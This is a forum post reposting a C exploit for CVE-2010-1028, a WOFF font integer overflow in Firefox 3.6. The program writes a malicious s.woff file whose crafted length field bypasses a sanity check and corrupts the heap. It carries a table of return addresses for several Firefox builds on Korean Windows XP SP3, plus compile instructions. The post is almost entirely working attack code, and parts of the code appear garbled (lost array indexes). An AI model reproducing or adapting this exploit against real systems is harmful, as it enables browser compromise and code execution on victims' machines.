Jump to content
Nytro

Mozilla Firefox 3.6 - Integer Overflow Exploit

Recommended Posts

Posted

[h=1]Mozilla Firefox 3.6 - Integer Overflow Exploit[/h]

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <zlib.h>

/*

x90c WOFF 1day exploit

(MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit)

CVE-ID: CVE-2010-1028

Full Exploit: http:/www.exploit-db.com/sploits/27698.tgz

Affacted Products:

- Mozilla Firefox 3.6 ( Gecko 1.9.2 )

- Mozilla Firefox 3.6 Beta1, 3, 4, 5 ( Beta2 ko not released )

- Mozilla Firefox 3.6 RC1, RC2

Fixed in:

- Mozilla Firefox 3.6.2 ( after 3.6 version this bug fixed )

security bug credit: Evgeny Legerov < intevydis.com >

Timeline:

2010.02.01 - Evengy Legerov Initial discovered and shiped it into

"Immunity 3rd Party Product VulnDisco 9.0"

https://forum.immunityinc.com/board/thread/1161/vulndisco-9-0/

2010.02.18 - without reporter, it self analyzed

and contact to mozilla and secunia before advisory reporting

http://secunia.com/advisories/38608

2010.03.19 - CVE registered

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1028

2010.03.22 - Mozilla advisory report

http://www.mozilla.org/security/announce/2010/mfsa2010-08.html

2010.04.01 - x90c exploit (x90c.org)

Compile:

[root@centos5 woff]# gcc CVE-2010-1028_exploit.c -o CVE-2010-1028_exploit -lz

rebel: greets to my old l33t hacker dude in sweden

... BSDaemon: and Invitation of l33t dude for exploit share

#phrack@efnet, #social@overthewire

x90c

*/

typedef unsigned int UInt32;

typedef unsigned short UInt16;

/*

for above two types, some WOFF header struct uses big-endian byte order.

*/

typedef struct

{

UInt32 signature;

UInt32 flavor;

UInt32 length;

UInt16 numTables;

UInt16 reserved;

UInt32 totalSfntSize;

UInt16 majorVersion;

UInt16 minorVersion;

UInt32 metaOffset;

UInt32 metaLength;

UInt32 metaOrigLength;

UInt32 privOffset;

UInt32 privLength;

} WOFF_HEADER;

typedef struct

{

UInt32 tag;

UInt32 offset;

UInt32 compLength;

UInt32 origLength;

UInt32 origChecksum;

} WOFF_DIRECTORY;

#define FLAVOR_TRUETYPE_FONT 0x0001000

#define FLAVOR_CFF_FONT 0x4F54544F

struct ff_version

{

int num;

char *v_nm;

unsigned long addr;

};

struct ff_version plat[] =

{

{

0, "Win XP SP3 ko - FF 3.6", 0x004E18ED

},

{

1, "Win XP SP3 ko - FF 3.6 Beta1", 0x004E17BD

},

{

2, "Win XP SP3 ko - FF 3.6 Beta3", 0x004E193D

},

{

3, "Win XP SP3 ko - FF 3.6 Beta4", 0x004E20FD

},

{

4, "Win XP SP3 ko - FF 3.6 Beta5", 0x600A225D

},

{

5, "Win XP SP3 ko - FF 3.6 RC1", 0x004E17BD

},

{

6, "Win XP SP3 ko - FF 3.6 RC2", 0x004E18ED

},

{

0x00, NULL, 0x0

}

};

void usage(char *f_nm)

{

int i = 0;

fprintf(stdout, "\n Usage: %s [Target ID]\n\n", f_nm);

for(i = 0; plat.v_nm != NULL; i++)

fprintf(stdout, "\t{%d} %s. \n", (plat.num), (plat.v_nm));

exit(-1);

}

int main(int argc, char *argv[]) {

WOFF_HEADER woff_header;

WOFF_DIRECTORY woff_dir[1];

FILE *fp;

char dataBlock[1024];

char compressed_dataBlock[1024];

char de_buf[1024];

int total_bytes = 0, total_dataBlock = 0;

unsigned long destLen = 1024;

unsigned long de_Len = 1024;

unsigned long i = 0;

unsigned long addr_saved_ret_val = 0;

int ret = 0;

int n = 0;

if(argc < 2)

usage(argv[0]);

n = atoi(argv[1]);

if(n < 0 || n > 6)

{

fprintf(stderr, "\nTarget number range is 0-6!\n");

usage(argv[0]);

}

printf("\n#### x90c WOFF exploit ####\n");

printf("\nTarget: %d - %s\n\n", (plat[n].num), (plat[n].v_nm));

// WOFF HEADER

woff_header.signature = 0x46464F77; // 'wOFF' ( L.E )

woff_header.flavor = FLAVOR_TRUETYPE_FONT; // sfnt version ( B.E )

woff_header.length = 0x00000000; // woff file total length ( B.E )

woff_header.numTables = 0x0100; // 0x1 - woff dir entry length ( B.E )

woff_header.reserved = 0x0000; // res bit ( all zero )

// totalSFntSize value will bypass validation condition after integer overflow

woff_header.totalSfntSize = 0x1C000000; // 0x0000001C ( B.E )

woff_header.majorVersion = 0x0000; // major version

woff_header.minorVersion = 0x0000; // minor version

woff_header.metaOffset = 0x00000000; // meta data block offset ( not used )

woff_header.metaLength = 0x00000000; // meta data block length ( not used )

woff_header.metaOrigLength = 0x00000000; // meta data block before-compresed length ( not used )

woff_header.privOffset = 0x00000000; // Private data block offset ( not used )

woff_header.privLength = 0x00000000; // Private data block length

woff_dir[0].tag = 0x54444245; // 'EBDT' ( B.E )

woff_dir[0].offset = 0x40000000; // 0x00000040 ( B.E )

woff_dir[0].compLength = 0x00000000; // ( B.E )

// to trigger field bit.

// 0xFFFFFFF8-0xFFFFFFFF value to trigger integer overflow.

// 1) calculation result is 0, it's bypass to sanityCheck() function

// 2) passed very long length into zlib Decompressor, it's trigger memory corruption!

// 0xFFFFFFFD-0xFFFFFFFF: bypass sanityCheck()

// you can use only the value of 0xFFFFFFFF ( integer overflow!!! )

// you can't using other values to bypass validation condition

woff_dir[0].origLength = 0xFFFFFFFF; // 0xFFFFFFFF ( B.E )

printf("WOFF_HEADER [ %d bytes ]\n", sizeof(WOFF_HEADER));

printf("WOFF_DIRECTORY [ %d bytes ]\n", sizeof(WOFF_DIRECTORY));

// to compress data block

// [ 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c ... ]

// ...JIT spray stuff...

addr_saved_ret_val = plat[n].addr;

addr_saved_ret_val += 0x8; // If add 8bytes it reduced reference error occurs

for(i = 0; i < sizeof(dataBlock); i+=4) // 0x004E18F5

{

dataBlock[i+0] = (addr_saved_ret_val & 0x000000ff);

dataBlock[i+1] = (addr_saved_ret_val & 0x0000ff00) >> 8;

dataBlock[i+2] = (addr_saved_ret_val & 0x00ff0000) >> 16;

dataBlock[i+3] = (addr_saved_ret_val & 0xff000000) >> 24;

}

// compress dataBlock with zlib's compress()

if(compress((Bytef *)compressed_dataBlock,

(uLongf *)&destLen,

(Bytef *)dataBlock,

(uLong)(sizeof(dataBlock))

) != Z_OK)

{

fprintf(stderr, "Zlib compress failed!\n");

exit(-1);

}

printf("\nZlib compress(dataBlock) ...\n");

printf("DataBlock [ %u bytes ]\n", sizeof(dataBlock));

printf("Compressed DataBlock [ %u bytes ]\n", destLen);

printf("[ Z_OK ]\n\n");

total_bytes = sizeof(WOFF_HEADER) +

sizeof(WOFF_DIRECTORY) +

destLen;

total_dataBlock = destLen;

printf("Total WOFF File Size: %d bytes\n", total_bytes);

// byte order change to total_bytes, total_dataBlock ( L.E into B.E )

total_bytes =

((total_bytes & 0xff000000) >> 24) |

((total_bytes & 0x00ff0000) >> 8) |

((total_bytes & 0x0000ff00) << 8) |

((total_bytes & 0x000000ff) << 24);

woff_header.length = total_bytes;

total_dataBlock =

((total_dataBlock & 0xff000000) >> 24) |

((total_dataBlock & 0x00ff0000) >> 8) |

((total_dataBlock & 0x0000ff00) << 8) |

((total_dataBlock & 0x000000ff) << 24);

woff_dir[0].compLength = total_dataBlock;

// create attack code data

if((fp = fopen("s.woff", "wb")) < 0)

{

fprintf(stderr, "that file to create open failed\n");

exit(-2);

}

// setup WOFF data store

fwrite(&woff_header, 1, sizeof(woff_header), fp);

fwrite(&woff_dir[0], 1, sizeof(woff_dir[0]), fp);

fwrite(&compressed_dataBlock, 1, destLen, fp);

fclose(fp);

// zlib extract test

ret = uncompress(de_buf, &de_Len, compressed_dataBlock, destLen);

if(ret != Z_OK)

{

switch(ret)

{

case Z_MEM_ERROR:

printf("Z_MEM_ERROR\n");

break;

case Z_BUF_ERROR:

printf("Z_BUF_ERROR\n");

break;

case Z_DATA_ERROR:

printf("Z_DATA_ERROR\n");

break;

}

fprintf(stderr, "Zlib uncompress test failed!\n");

unlink("./s.woff");

exit(-3);

}

printf("\nZlib uncompress test(compressed_dataBlock) ...\n");

printf("[ Z_OK ]\n\n");

return 0;

}

/* eof */

Sursa: Mozilla Firefox 3.6 - Integer Overflow Exploit

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...